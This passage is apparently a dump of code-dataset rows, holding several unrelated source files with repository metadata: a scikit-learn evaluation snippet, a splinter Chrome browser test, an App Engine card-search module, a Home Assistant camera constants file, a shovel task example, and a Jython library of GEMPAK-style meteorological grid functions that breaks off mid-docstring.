85952edd22ba8c382f43357efc510763185fd6d1
|
[
"MIT"
] | null | null | null |
y_pred=ml.predict(x_test)
print(y_pred)
from sklearn.metrics import r2_score
r2_score(y_test,y_pred)
pred_y_df=pd.DataFrame({'Actual Value':y_test,'Predicted Value':y_pred, 'Difference': y_test-y_pred})
pred_y_df[0:20]
| 24.555556
| 101
| 0.791855
| 44
| 221
| 3.636364
| 0.5
| 0.15625
| 0.075
| 0.125
| 0.2125
| 0.2125
| 0.2125
| 0
| 0
| 0
| 0
| 0.024272
| 0.067873
| 221
| 9
| 102
| 24.555556
| 0.752427
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0.166667
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5c40e739be914cd8694a4a6735e497e975d7778
| 1,791
|
py
|
Python
|
tests/test_webdriver_chrome.py
|
kidosoft/splinter
|
6d5052fd73c0a626299574cea76924e367c67faa
|
[
"BSD-3-Clause"
] | 1
|
2016-09-21T19:32:47.000Z
|
2016-09-21T19:32:47.000Z
|
tests/test_webdriver_chrome.py
|
kidosoft/splinter
|
6d5052fd73c0a626299574cea76924e367c67faa
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_webdriver_chrome.py
|
kidosoft/splinter
|
6d5052fd73c0a626299574cea76924e367c67faa
|
[
"BSD-3-Clause"
] | 1
|
2019-12-02T15:19:07.000Z
|
2019-12-02T15:19:07.000Z
|
# -*- coding: utf-8 -*-
# Copyright 2013 splinter authors. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
import os
import unittest
from splinter import Browser
from .fake_webapp import EXAMPLE_APP
from .base import WebDriverTests
from selenium.common.exceptions import WebDriverException
def chrome_installed():
try:
Browser("chrome")
except WebDriverException:
return False
return True
class ChromeBrowserTest(WebDriverTests, unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.browser = Browser("chrome")
@classmethod
def tearDownClass(cls):
cls.browser.quit()
def setUp(self):
self.browser.visit(EXAMPLE_APP)
def test_attach_file(self):
"should provide a way to change file field value"
file_path = os.path.join(
os.path.abspath(os.path.dirname(__file__)),
'mockfile.txt'
)
self.browser.attach_file('file', file_path)
self.browser.find_by_name('upload').click()
html = self.browser.html
self.assertIn('text/plain', html)
self.assertIn(open(file_path).read().encode('utf-8'), html)
def test_should_support_with_statement(self):
with Browser('chrome') as internet:
pass
class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.browser = Browser("chrome", fullscreen=True)
@classmethod
def tearDownClass(cls):
cls.browser.quit()
def setUp(self):
self.browser.visit(EXAMPLE_APP)
def test_should_support_with_statement(self):
with Browser('chrome', fullscreen=True) as internet:
pass
| 25.225352
| 69
| 0.672808
| 213
| 1,791
| 5.539906
| 0.455399
| 0.055085
| 0.044068
| 0.069492
| 0.372034
| 0.372034
| 0.372034
| 0.372034
| 0.372034
| 0.372034
| 0
| 0.004357
| 0.231156
| 1,791
| 70
| 70
| 25.585714
| 0.852578
| 0.123953
| 0
| 0.382979
| 0
| 0
| 0.070676
| 0
| 0
| 0
| 0
| 0
| 0.042553
| 1
| 0.212766
| false
| 0.042553
| 0.12766
| 0
| 0.425532
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5e19c75c00ba0d6d2f1c4a0eb15f229a98c4904
| 7,259
|
py
|
Python
|
webapp/search.py
|
henchan/memfinity
|
3860985e29b203f0569f60eea68ffb22aaf34b1f
|
[
"MIT"
] | null | null | null |
webapp/search.py
|
henchan/memfinity
|
3860985e29b203f0569f60eea68ffb22aaf34b1f
|
[
"MIT"
] | null | null | null |
webapp/search.py
|
henchan/memfinity
|
3860985e29b203f0569f60eea68ffb22aaf34b1f
|
[
"MIT"
] | null | null | null |
"""High-level search API.
This module implements application-specific search semantics on top of
App Engine's search API. There are two chief operations: querying for
entities, and managing entities in the search facility.
Add and remove Card entities in the search facility:
insert_cards([models.Card])
delete_cards([models.Card])
Query for Card entities:
query_cards(query_string, limit=20) -> search.SearchResults
The results items will have the following fields:
user_key, user_nickname, front, back, info, tag (repeated), added,
modified, source_url
The query_string is free-form, as a user would enter it, and passes
through a custom query processor before the query is submitted to App
Engine. Notably, pass @username to restrict the query to entities
authored by username, and #tag to restrict the query to only documents
matching the given tag. Multiple @usernames or #tags result in an OR
query.
"""
import re
from google.appengine.api import search
from google.appengine.ext import ndb
QUERY_LIMIT = 20
CARD_INDEX_NAME = 'cards'
# Increase this value when _card2doc changes its format so that
# queries can determine the data available on returned documents.
CARD_DOCUMENT_VERSION = '1'
# Ensure we're under the 2000 character limit from
# https://developers.google.com/appengine/docs/python/search/query_strings
MAX_QUERY_LEN = 200
# TODO(chris): it would be better if this module didn't know about
# specific entity types, but instead defined a protocol to get
# metadata from an entity and generate a document.
def insert_cards(cards):
"""Insert or update models.Card entities in the search facility."""
# TODO(chris): should we allow more than 200 cards per call?
assert len(cards) <= 200, len(cards)
card_docs = map(_card2doc, cards)
index = search.Index(name=CARD_INDEX_NAME)
index.put(card_docs)
def delete_cards(cards):
"""Delete models.Card entities from the search facility."""
index = search.Index(name=CARD_INDEX_NAME)
card_doc_ids = map(_card2docid, cards)
index.delete(card_doc_ids)
def query_cards(query_str, limit=QUERY_LIMIT, web_safe_cursor=None,
ids_only=False, user_key=None):
"""Return the search.SearchResults for a query.
ids_only is useful because the returned document IDs are url-safe
keys for models.Card entities.
"""
if web_safe_cursor:
cursor = search.Cursor(web_safe_string=web_safe_cursor)
else:
cursor = None
index = search.Index(name=CARD_INDEX_NAME)
query_processor = _QueryProcessor(
query_str,
name_field='user_nickname',
tag_field='tag',
private_field='private',
user_key_field='user_key',
query_options=search.QueryOptions(limit=limit, cursor=cursor,
ids_only=ids_only),
user_key=user_key)
search_results = index.search(query_processor.query())
# TODO(chris): should this return partially-instantiated
# models.Card instances instead of leaking implementation details
# like we do now?
return search_results
def _card2doc(card):
# TODO(chris): should we include all fields that would be needed
# for rendering a search results item to avoid entity lookup?
tag_fields = [search.AtomField(name='tag', value=tag) for tag in card.tags]
doc = search.Document(
doc_id=_card2docid(card),
fields=[
search.AtomField(name='doc_version', value=CARD_DOCUMENT_VERSION),
search.AtomField(name='user_key', value=card.user_key.urlsafe()),
# TODO(chris): is user_nickname always a direct-match
# shortname, e.g., @chris?
search.AtomField(name='user_nickname', value=card.user_nickname),
# TODO(chris): support HtmlField for richer cards?
search.TextField(name='front', value=card.front),
search.TextField(name='back', value=card.back),
search.TextField(name='info', value=card.info),
search.DateField(name='added', value=card.added),
search.DateField(name='modified', value=card.modified),
search.AtomField(name='source_url', value=card.source_url),
search.AtomField(name='private', value="1" if card.private else "0"),
] + tag_fields)
return doc
def _card2docid(card):
# We set the search.Document's ID to the entity key it mirrors.
return card.key.urlsafe()
def _sanitize_user_input(query_str):
# The search API puts special meaning on certain inputs and we
# don't want to expose the internal query language to users so
# we strictly restrict inputs. The rules are:
#
# Allowed characters for values are [a-zA-Z0-9._-].
# @name is removed and 'name' values returned as a list.
# #tag is removed and 'tag' values returned as a list.
terms, names, tags = [], [], []
for token in query_str.split():
# TODO(chris): allow international characters.
sane_token = re.sub(r'[^a-zA-Z0-9._-]+', '', token)
if sane_token:
if sane_token in ('AND', 'OK'):
continue # ignore special search keywords
elif token.startswith('@'):
names.append(sane_token)
elif token.startswith('#'):
tags.append(sane_token)
else:
terms.append(sane_token)
return terms, names, tags
class _QueryProcessor(object):
"""Simple queries, possibly with @name and #tag tokens.
name_field is the field @name tokens should apply to.
tag_field is the name of the field #tag tokens should apply to.
"""
def __init__(self, query_str,
name_field, tag_field, private_field, user_key_field,
query_options=None, user_key=None):
self.query_str = query_str
self.name_field = name_field
self.tag_field = tag_field
self.private_field = private_field
self.user_key_field = user_key_field
self.query_options = query_options
self.user_key = user_key
def _sanitize_user_input(self):
query_str = self.query_str[:MAX_QUERY_LEN]
return _sanitize_user_input(query_str)
def _build_query_string(self):
terms, names, tags = self._sanitize_user_input()
# Our simply query logic is to OR together all terms from the
# user, then AND in the name or tag filters (plus a privacy clause).
parts = []
if terms:
parts.append(' OR '.join(terms))
if names:
parts.append('%s: (%s)' % (self.name_field, ' OR '.join(names)))
if tags:
parts.append('%s: (%s)' % (self.tag_field, ' OR '.join(tags)))
# Don't return cards that other users have marked private...
privacy = '%s: 0' % self.private_field
if self.user_key:
# ... but always show the user their own cards in results.
privacy += ' OR %s: (%s)' % (self.user_key_field, self.user_key)
parts.append('(' + privacy + ')')
return ' AND '.join(parts)
def query(self):
query = search.Query(
query_string=self._build_query_string(),
options=self.query_options)
return query
| 37.035714
| 81
| 0.667998
| 993
| 7,259
| 4.728097
| 0.277946
| 0.025346
| 0.024281
| 0.012141
| 0.083493
| 0.034292
| 0.021086
| 0
| 0
| 0
| 0
| 0.005597
| 0.236947
| 7,259
| 195
| 82
| 37.225641
| 0.842029
| 0.402673
| 0
| 0.05
| 0
| 0
| 0.045155
| 0
| 0
| 0
| 0
| 0.010256
| 0.01
| 1
| 0.1
| false
| 0
| 0.03
| 0.01
| 0.21
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
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| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5e30ec5517ff0e5f54798d022557ddc8306de32
| 445
|
py
|
Python
|
custom_components/vaddio_conferenceshot/const.py
|
rohankapoorcom/vaddio_conferenceshot
|
71744710df10f77e21e9e7568e3f6c7175b0d11d
|
[
"Apache-2.0"
] | null | null | null |
custom_components/vaddio_conferenceshot/const.py
|
rohankapoorcom/vaddio_conferenceshot
|
71744710df10f77e21e9e7568e3f6c7175b0d11d
|
[
"Apache-2.0"
] | null | null | null |
custom_components/vaddio_conferenceshot/const.py
|
rohankapoorcom/vaddio_conferenceshot
|
71744710df10f77e21e9e7568e3f6c7175b0d11d
|
[
"Apache-2.0"
] | null | null | null |
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
from homeassistant.const import CONF_HOST, CONF_PASSWORD, CONF_PATH, CONF_USERNAME
DOMAIN = "vaddio_conferenceshot"
DATA_SCHEMA = vol.Schema(
{
vol.Required(CONF_HOST): cv.string,
vol.Required(CONF_USERNAME): cv.string,
vol.Required(CONF_PASSWORD): cv.string,
}
)
SERVICE_RECALL_PRESET = "move_to_preset"
ATTR_PRESET_ID = "preset"
| 24.722222
| 82
| 0.750562
| 58
| 445
| 5.482759
| 0.517241
| 0.103774
| 0.141509
| 0.119497
| 0.144654
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.161798
| 445
| 17
| 83
| 26.176471
| 0.852547
| 0
| 0
| 0
| 0
| 0
| 0.092135
| 0.047191
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.153846
| 0.230769
| 0
| 0.230769
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
d5e4c8d6143747e9fa0113815e838834d857b208
| 1,022
|
py
|
Python
|
example/shovel/bar.py
|
demiurgestudios/shovel
|
3db497164907d3765fae182959147d19064671c7
|
[
"MIT"
] | 202
|
2015-01-12T13:47:29.000Z
|
2022-02-09T19:13:36.000Z
|
example/shovel/bar.py
|
demiurgestudios/shovel
|
3db497164907d3765fae182959147d19064671c7
|
[
"MIT"
] | 14
|
2017-04-09T17:04:53.000Z
|
2021-05-16T11:08:34.000Z
|
example/shovel/bar.py
|
demiurgestudios/shovel
|
3db497164907d3765fae182959147d19064671c7
|
[
"MIT"
] | 22
|
2015-09-11T18:35:10.000Z
|
2021-05-16T11:04:56.000Z
|
from shovel import task
@task
def hello(name='Foo'):
'''Prints "Hello, " followed by the provided name.
Examples:
shovel bar.hello
shovel bar.hello --name=Erin
http://localhost:3000/bar.hello?Erin'''
print('Hello, %s' % name)
@task
def args(*args):
'''Echos back all the args you give it.
This exists mostly to demonstrate the fact that shovel
is compatible with variable argument functions.
Examples:
shovel bar.args 1 2 3 4
http://localhost:3000/bar.args?1&2&3&4'''
for arg in args:
print('You said "%s"' % arg)
@task
def kwargs(**kwargs):
'''Echos back all the kwargs you give it.
This exists mostly to demonstrate that shovel is
compatible with the keyword argument functions.
Examples:
shovel bar.kwargs --foo=5 --bar 5 --howdy hey
http://localhost:3000/bar.kwargs?foo=5&bar=5&howdy=hey'''
for key, val in kwargs.items():
print('You said "%s" => "%s"' % (key, val))
| 27.621622
| 65
| 0.614481
| 148
| 1,022
| 4.243243
| 0.385135
| 0.057325
| 0.08121
| 0.095541
| 0.417197
| 0.235669
| 0.200637
| 0.200637
| 0
| 0
| 0
| 0.031788
| 0.261252
| 1,022
| 37
| 66
| 27.621622
| 0.8
| 0.619374
| 0
| 0.25
| 0
| 0
| 0.154362
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.083333
| 0
| 0.333333
| 0.25
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5eff585130a0defb51fd844556d3dea1143c55d
| 18,862
|
py
|
Python
|
src/ucar/unidata/idv/resources/python/griddiag.py
|
JessicaWiedemeier/IDV
|
e5f67c755cc95f8ad2123bdc45a91f0e5eca0d64
|
[
"CNRI-Jython"
] | 1
|
2021-06-09T11:24:48.000Z
|
2021-06-09T11:24:48.000Z
|
src/ucar/unidata/idv/resources/python/griddiag.py
|
JessicaWiedemeier/IDV
|
e5f67c755cc95f8ad2123bdc45a91f0e5eca0d64
|
[
"CNRI-Jython"
] | null | null | null |
src/ucar/unidata/idv/resources/python/griddiag.py
|
JessicaWiedemeier/IDV
|
e5f67c755cc95f8ad2123bdc45a91f0e5eca0d64
|
[
"CNRI-Jython"
] | null | null | null |
"""
This is the doc for the Grid Diagnostics module. These functions
are based on the grid diagnostics from the GEneral Meteorological
PAcKage (GEMPAK). Note that the names are case sensitive and some
are named slightly different from GEMPAK functions to avoid conflicts
with Jython built-ins (e.g. str).
<P>
In the following operators, scalar operands are named S<sub>n</sub> and
vector operands are named V<sub>n</sub>. Lowercase u and v refer to the
grid relative components of a vector.
"""
def GRAVITY():
""" Gravity constant """
return DerivedGridFactory.GRAVITY;
# Math functions
def atn2(S1,S2,WA=0):
""" Wrapper for atan2 built-in
<div class=jython>
ATN2 (S1, S2) = ATAN ( S1 / S2 )<br>
WA = use WEIGHTED_AVERAGE (default NEAREST_NEIGHBOR)
</div>
"""
return GridMath.atan2(S1,S2,WA)
def add(S1,S2,WA=0):
""" Addition
<div class=jython>
ADD (S1, S2) = S1 + S2<br>
WA = use WEIGHTED_AVERAGE (default NEAREST_NEIGHBOR)
</div>
"""
return GridMath.add(S1,S2,WA)
def mul(S1,S2,WA=0):
""" Multiply
<div class=jython>
MUL (S1, S2) = S1 * S2<br>
WA = use WEIGHTED_AVERAGE (default NEAREST_NEIGHBOR)
</div>
"""
return GridMath.multiply(S1,S2,WA)
def quo(S1,S2,WA=0):
""" Divide
<div class=jython>
QUO (S1, S2) = S1 / S2<br>
WA = use WEIGHTED_AVERAGE (default NEAREST_NEIGHBOR)
</div>
"""
return GridMath.divide(S1,S2,WA)
def sub(S1,S2,WA=0):
""" Subtract
<div class=jython>
SUB (S1, S2) = S1 - S2<br>
WA = use WEIGHTED_AVERAGE (default NEAREST_NEIGHBOR)
</div>
"""
return GridMath.subtract(S1,S2,WA)
# Scalar quantities
def adv(S,V):
""" Horizontal Advection, negative by convention
<div class=jython>
ADV ( S, V ) = - ( u * DDX (S) + v * DDY (S) )
</div>
"""
return -add(mul(ur(V),ddx(S)),mul(vr(V),ddy(S)))
def avg(S1,S2):
""" Average of 2 scalars
<div class=jython>
AVG (S1, S2) = ( S1 + S2 ) / 2
</div>
"""
return add(S1,S2)/2
def avor(V):
""" Absolute Vorticity
<div class=jython>
AVOR ( V ) = VOR ( V ) + CORL(V)
</div>
"""
relv = vor(V)
return add(relv,corl(relv))
def circs(S, D=2):
"""
<div class=jython>
Apply a circular aperature smoothing to the grid points. The weighting
function is the circular aperature diffraction function. D is
the radius of influence in grid increments, increasing D increases
the smoothing. (default D=2)
</div>
"""
return GridUtil.smooth(S, "CIRC", int(D))
def corl(S):
""" Coriolis Parameter for all points in a grid
<div class=jython>
CORL = TWO_OMEGA*sin(latr)
</div>
"""
return DerivedGridFactory.createCoriolisGrid(S)
def cress(S, D=2):
"""
<div class=jython>
Apply a Cressman smoothing to the grid points. The smoothed value
is given by a weighted average of surrounding grid points. D is
the radius of influence in grid increments,
increasing D increases the smoothing. (default D=2)
</div>
"""
return GridUtil.smooth(S, "CRES", int(D))
def cros(V1,V2):
""" Vector cross product magnitude
<div class=jython>
CROS ( V1, V2 ) = u1 * v2 - u2 * v1
</div>
"""
return sub(mul(ur(V1),vr(V2)),mul(ur(V2),vr(V1)))
def ddx(S):
""" Take the derivative with respect to the domain's X coordinate
"""
return GridMath.ddx(S);
def ddy(S):
""" Take the derivative with respect to the domain's Y coordinate
"""
return GridMath.ddy(S);
def defr(V):
""" Total deformation
<div class=jython>
DEF ( V ) = ( STRD (V) ** 2 + SHR (V) ** 2 ) ** .5
</div>
"""
return mag(strd(V),shr(V))
def div(V):
""" Horizontal Divergence
<div class=jython>
DIV ( V ) = DDX ( u ) + DDY ( v )
</div>
"""
return add(ddx(ur(V)),ddy(vr(V)))
def dirn(V):
""" North relative direction of a vector
<div class=jython>
DIRN ( V ) = DIRR ( un(v), vn(v) )
</div>
"""
return dirr(DerivedGridFactory.createTrueFlowVector(V))
def dirr(V):
""" Grid relative direction of a vector
"""
return DerivedGridFactory.createVectorDirection(V)
def dot(V1,V2):
""" Vector dot product
<div class=jython>
DOT ( V1, V2 ) = u1 * u2 + v1 * v2
</div>
"""
product = mul(V1,V2)
return add(ur(product),vr(product))
def gwfs(S, N=6):
"""
<div class=jython>
Horizontal smoothing using normally distributed weights
with theoretical response of 1/e for N * delta-x wave.
Increasing N increases the smoothing. (default N=6)
</div>
"""
return GridUtil.smooth(S, "GWFS", int(N))
def jcbn(S1,S2):
""" Jacobian Determinant
<div class=jython>
JCBN ( S1, S2 ) = DDX (S1) * DDY (S2) - DDY (S1) * DDX (S2)
</div>
"""
return sub(mul(ddx(S1),ddy(S2)),mul(ddy(S1),ddx(S2)))
def latr(S):
""" Latitudue all points in a grid
"""
return DerivedGridFactory.createLatitudeGrid(S)
def lap(S):
""" Laplacian operator
<div class=jython>
LAP ( S ) = DIV ( GRAD (S) )
</div>
"""
grads = grad(S)
return div(grads)
def lav(S,level1=None,level2=None, unit=None):
""" Layer Average of a multi layer grid
<div class=jython>
LAV ( S ) = ( S (level1) + S (level2) ) / 2.
</div>
"""
if level1 == None:
return GridMath.applyFunctionOverLevels(S, GridMath.FUNC_AVERAGE)
else:
return layerAverage(S,level1,level2, unit)
def ldf(S,level1,level2, unit=None):
""" Layer Difference
<div class=jython>
LDF ( S ) = S (level1) - S (level2)
</div>
"""
return layerDiff(S,level1,level2, unit);
def mag(*a):
""" Magnitude of a vector
"""
if (len(a) == 1):
return DerivedGridFactory.createVectorMagnitude(a[0]);
else:
return DerivedGridFactory.createVectorMagnitude(a[0],a[1]);
def mixr(temp,rh):
""" Mixing Ratio from Temperature, RH (requires pressure domain)
"""
return DerivedGridFactory.createMixingRatio(temp,rh)
def relh(temp,mixr):
""" Create Relative Humidity from Temperature, mixing ratio (requires pressure domain)
"""
return DerivedGridFactory.createRelativeHumidity(temp,mixr)
def pvor(S,V):
""" Potetial Vorticity (usually from theta and wind)
"""
return DerivedGridFactory.createPotentialVorticity(S,V)
def rects(S, D=2):
"""
<div class=jython>
Apply a rectangular aperature smoothing to the grid points. The weighting
function is the product of the rectangular aperature diffraction function
in the x and y directions. D is the radius of influence in grid
increments, increasing D increases the smoothing. (default D=2)
</div>
"""
return GridUtil.smooth(S, "RECT", int(D))
def savg(S):
""" Average over whole grid
<div class=jython>
SAVG ( S ) = average of all non-missing grid point values
</div>
"""
return GridMath.applyFunctionToLevels(S, GridMath.FUNC_AVERAGE)
def savs(S):
""" Average over grid subset
<div class=jython>
SAVS ( S ) = average of all non-missing grid point values in the subset
area
</div>
"""
return savg(S)
def sdiv(S,V):
""" Horizontal Flux Divergence
<div class=jython>
SDIV ( S, V ) = S * DIV ( V ) + DOT ( V, GRAD ( S ) )
</div>
"""
return add(mul(S,(div(V))) , dot(V,grad(S)))
def shr(V):
""" Shear Deformation
<div class=jython>
SHR ( V ) = DDX ( v ) + DDY ( u )
</div>
"""
return add(ddx(vr(V)),ddy(ur(V)))
def sm5s(S):
""" Smooth a scalar grid using a 5-point smoother
<div class=jython>
SM5S ( S ) = .5 * S (i,j) + .125 * ( S (i+1,j) + S (i,j+1) +
S (i-1,j) + S (i,j-1) )
</div>
"""
return GridUtil.smooth(S, "SM5S")
def sm9s(S):
""" Smooth a scalar grid using a 9-point smoother
<div class=jython>
SM9S ( S ) = .25 * S (i,j) + .125 * ( S (i+1,j) + S (i,j+1) +
S (i-1,j) + S (i,j-1) )
+ .0625 * ( S (i+1,j+1) +
S (i+1,j-1) +
S (i-1,j+1) +
S (i-1,j-1) )
</div>
"""
return GridUtil.smooth(S, "SM9S")
def strd(V):
""" Stretching Deformation
<div class=jython>
STRD ( V ) = DDX ( u ) - DDY ( v )
</div>
"""
return sub(ddx(ur(V)),ddy(vr(V)))
def thta(temp):
""" Potential Temperature from Temperature (requires pressure domain)
"""
return DerivedGridFactory.createPotentialTemperature(temp)
def thte(temp,rh):
""" Equivalent Potential Temperature from Temperature and Relative
humidity (requires pressure domain)
"""
return DerivedGridFactory.createEquivalentPotentialTemperature(temp,rh)
def un(V):
""" North relative u component
"""
return ur(DerivedGridFactory.createTrueFlowVector(V))
def ur(V):
""" Grid relative u component
"""
return DerivedGridFactory.getUComponent(V)
def vn(V):
""" North relative v component
"""
return vr(DerivedGridFactory.createTrueFlowVector(V))
def vor(V):
""" Relative Vorticity
<div class=jython>
VOR ( V ) = DDX ( v ) - DDY ( u )
</div>
"""
return sub(ddx(vr(V)),ddy(ur(V)))
def vr(V):
""" Grid relative v component
"""
return DerivedGridFactory.getVComponent(V)
def xav(S):
""" Average along a grid row
<div class=jython>
XAV (S) = ( S (X1) + S (X2) + ... + S (KXD) ) / KNT
KXD = number of points in row
KNT = number of non-missing points in row
XAV for a row is stored at every point in that row.
</div>
"""
return GridMath.applyFunctionToAxis(S, GridMath.FUNC_AVERAGE, GridMath.AXIS_X)
def xsum(S):
""" Sum along a grid row
<div class=jython>
XSUM (S) = ( S (X1) + S (X2) + ... + S (KXD) )
KXD = number of points in row
XSUM for a row is stored at every point in that row.
</div>
"""
return GridMath.applyFunctionToAxis(S, GridMath.FUNC_SUM, GridMath.AXIS_X)
def yav(S):
""" Average along a grid column
<div class=jython>
YAV (S) = ( S (Y1) + S (Y2) + ... + S (KYD) ) / KNT
KYD = number of points in column
KNT = number of non-missing points in column
</div>
"""
return GridMath.applyFunctionToAxis(S, GridMath.FUNC_AVERAGE, GridMath.AXIS_Y)
def ysum(S):
""" Sum along a grid column
<div class=jython>
YSUM (S) = ( S (Y1) + S (Y2) + ... + S (KYD) )
KYD = number of points in row
YSUM for a column is stored at every point in that column.
</div>
"""
return GridMath.applyFunctionToAxis(S, GridMath.FUNC_SUM, GridMath.AXIS_Y)
def zav(S):
""" Average across the levels of a grid at all points
<div class=jython>
ZAV (S) = ( S (Z1) + S (Z2) + ... + S (KZD) ) / KNT
KZD = number of levels
KNT = number of non-missing points in column
</div>
"""
return GridMath.applyFunctionToLevels(S, GridMath.FUNC_AVERAGE)
def zsum(S):
""" Sum across the levels of a grid at all points
<div class=jython>
ZSUM (S) = ( S (Z1) + S (Z2) + ... + S (KZD) )
KZD = number of levels
ZSUM for a vertical column is stored at every point
</div>
"""
return GridMath.applyFunctionOverLevels(S, GridMath.FUNC_SUM)
def wshr(V, Z, top, bottom):
""" Magnitude of the vertical wind shear in a layer
<div class=jython>
WSHR ( V ) = MAG [ VLDF (V) ] / LDF (Z)
</div>
"""
dv = mag(vldf(V,top,bottom))
dz = ldf(Z,top,bottom)
return quo(dv,dz)
# Vector output
def age(obs,geo):
""" Ageostrophic wind
<div class=jython>
AGE ( S ) = [ u (OBS) - u (GEO(S)), v (OBS) - v (GEO(S)) ]
</div>
"""
return sub(obs,geo)
def circv(S, D=2):
"""
<div class=jython>
Apply a circular aperature smoothing to the grid points. The weighting
function is the circular aperature diffraction function. D is
the radius of influence in grid increments, increasing D increases
the smoothing. (default D=2)
</div>
"""
return GridUtil.smooth(S, "CIRC", int(D))
def cresv(S, D=2):
"""
<div class=jython>
Apply a Cressman smoothing to the grid points. The smoothed value
is given by a weighted average of surrounding grid points. D is
the radius of influence in grid increments,
increasing D increases the smoothing. (default D=2)
</div>
"""
return GridUtil.smooth(S, "CRES", int(D))
def dvdx(V):
""" Partial x derivative of a vector
<div class=jython>
DVDX ( V ) = [ DDX (u), DDX (v) ]
</div>
"""
return vecr(ddx(ur(V)), ddx(vr(V)))
def dvdy(V):
""" Partial x derivative of a vector
<div class=jython>
DVDY ( V ) = [ DDY (u), DDY (v) ]
</div>
"""
return vecr(ddy(ur(V)), ddy(vr(V)))
def frnt(S,V):
""" Frontogenesis function from theta and the wind
<div class=jython>
FRNT ( THTA, V ) = 1/2 * MAG ( GRAD (THTA) ) *
( DEF * COS (2 * BETA) - DIV ) <p>
Where: BETA = ASIN ( (-DDX (THTA) * COS (PSI) <br>
- DDY (THTA) * SIN (PSI))/ <br>
MAG ( GRAD (THTA) ) ) <br>
PSI = 1/2 ATAN2 ( SHR / STR ) <br>
</div>
"""
shear = shr(V)
strch = strd(V)
psi = .5*atn2(shear,strch)
dxt = ddx(S)
dyt = ddy(S)
cosd = cos(psi)
sind = sin(psi)
gradt = grad(S)
mgradt = mag(gradt)
a = -cosd*dxt-sind*dyt
beta = asin(a/mgradt)
frnto = .5*mgradt*(defr(V)*cos(2*beta)-div(V))
return frnto
def geo(z):
""" geostrophic wind from height
<div class=jython>
GEO ( S ) = [ - DDY (S) * const / CORL, DDX (S) * const / CORL ]
</div>
"""
return DerivedGridFactory.createGeostrophicWindVector(z)
def grad(S):
""" Gradient of a scalar
<div class=jython>
GRAD ( S ) = [ DDX ( S ), DDY ( S ) ]
</div>
"""
return vecr(ddx(S),ddy(S))
def gwfv(V, N=6):
"""
<div class=jython>
Horizontal smoothing using normally distributed weights
with theoretical response of 1/e for N * delta-x wave.
Increasing N increases the smoothing. (default N=6)
</div>
"""
return gwfs(V, N)
def inad(V1,V2):
""" Inertial advective wind
<div class=jython>
INAD ( V1, V2 ) = [ DOT ( V1, GRAD (u2) ),
DOT ( V1, GRAD (v2) ) ]
</div>
"""
return vecr(dot(V1,grad(ur(V2))),dot(V1,grad(vr(V2))))
def qvec(S,V):
""" Q-vector at a level ( K / m / s )
<div class=jython>
QVEC ( S, V ) = [ - ( DOT ( DVDX (V), GRAD (S) ) ),
- ( DOT ( DVDY (V), GRAD (S) ) ) ]
where S can be any thermal paramenter, usually THTA.
</div>
"""
grads = grad(S)
qvecu = newName(-dot(dvdx(V),grads),"qvecu")
qvecv = newName(-dot(dvdy(V),grads),"qvecv")
return vecr(qvecu,qvecv)
def qvcl(THTA,V):
""" Q-vector ( K / m / s )
<div class=jython>
QVCL ( THTA, V ) = ( 1/( D (THTA) / DP ) ) *
[ ( DOT ( DVDX (V), GRAD (THTA) ) ),
( DOT ( DVDY (V), GRAD (THTA) ) ) ]
</div>
"""
dtdp = GridMath.partial(THTA,2)
gradt = grad(THTA)
qvecudp = newName(quo(dot(dvdx(V),gradt),dtdp),"qvecudp")
qvecvdp = newName(quo(dot(dvdy(V),gradt),dtdp),"qvecvdp")
return vecr(qvecudp,qvecvdp)
def rectv(S, D=2):
"""
<div class=jython>
Apply a rectangular aperature smoothing to the grid points. The weighting
function is the product of the rectangular aperature diffraction function
in the x and y directions. D is the radius of influence in grid
increments, increasing D increases the smoothing. (default D=2)
</div>
"""
return GridUtil.smooth(S, "RECT", int(D))
def sm5v(V):
""" Smooth a scalar grid using a 5-point smoother (see sm5s)
"""
return sm5s(V)
def sm9v(V):
""" Smooth a scalar grid using a 9-point smoother (see sm9s)
"""
return sm9s(V)
def thrm(S, level1, level2, unit=None):
""" Thermal wind
<div class=jython>
THRM ( S ) = [ u (GEO(S)) (level1) - u (GEO(S)) (level2),
v (GEO(S)) (level1) - v (GEO(S)) (level2) ]
</div>
"""
return vldf(geo(S),level1,level2, unit)
def vadd(V1,V2):
""" add the components of 2 vectors
<div class=jython>
VADD (V1, V2) = [ u1+u2, v1+v2 ]
</div>
"""
return add(V1,V2)
def vecn(S1,S2):
""" Make a true north vector from two components
<div class=jython>
